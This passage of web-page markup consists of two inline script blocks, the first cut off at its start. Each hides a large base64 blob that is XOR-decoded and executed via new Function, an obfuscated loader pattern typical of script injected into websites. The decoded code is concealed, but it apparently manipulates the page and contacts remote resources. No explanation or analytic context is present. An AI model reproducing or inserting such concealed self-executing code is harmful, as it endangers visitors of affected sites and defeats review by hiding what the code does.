KBn5CfFkfYAcVSkFNW0NLQFoATEFKVwBPXl5LQEptRkdCSgZFQWZBSUgHFUhbQE1aR0FADkdPGmpEZQYHVVpcV1V+QnxZH2AAXEtDQVhLBgcVRUFmQUlIAFxLQ0FYSwYHFVNNT1pNRgZxSwdVU1pcV1VKS0JLWksOQhh+F0ladWZYGHRGHnNTTU9aTUYGcUscB1VTU0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglDS11dT0lLCQJIW0BNWkdBQAZxS1gHVVpcV1VHSAYPcUtYUlIPcUtYAEpPWk8HXEtaW1xAFUdIBnFLWABKT1pPAFpXXksTExMJSF4DS0NMS0oDTUJBXUsJB0dPGmpEZQYHFVNNT1pNRgZxSx0HVVNTBxVIW0BNWkdBQA5ea18fVhcGa1ZHSWxhB1VHSAZrVkdJbGEQE2NCeVRDFgBCS0BJWkYHXEtaW1xAFVhPXA5xRhMJCRVaXFdVcUYTfVpcR0BJBkhjYUp/bABCQU1PWkdBQAgIBkhjYUp/bABCQU1PWkdBQABGQV1aQE9DS1JSSGNhSn9sAEJBTU9aR0FAAEZBXVoHUlIJCQcAXEteQk9NSwYBcFlZWXIAAUcCCQkHFVNNT1pNRgZxS0YHVVNYT1wOcVsTY0J5VEMWdWtWR0lsYXMFCQFLQ0xLSgEJBWZYGHRGHgUJEUtDTEtKEx8JBQZxRhEGCQhGQV1aEwkFS0BNQUpLe3xnbUFDXkFAS0BaBnFGBwcUCQkHFVhPXA5xWkETXUtaekdDS0FbWgZIW0BNWkdBQAYHVV5rXx9WFwZrVkdJbGEFHwcVUwIfHB4eHgcVRUFmQUlIAEFAQkFPShNIW0BNWkdBQAYHVU1CS09cekdDS0FbWgZxWkEHFVMVRUFmQUlIAF1cTRNxWxVTXmtfH1YXBh4HFVNHSAZKQU1bQ0tAWgBcS09KV31aT1pLExMTCUJBT0pHQEkJB0hjYUp/bABPSkprWEtAWmJHXVpLQEtcBglqYWNtQUBaS0BaYkFPSktKCQJeX15NHmUHFUtCXUsOXl9eTR5lBgcVUwcGBxU='),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>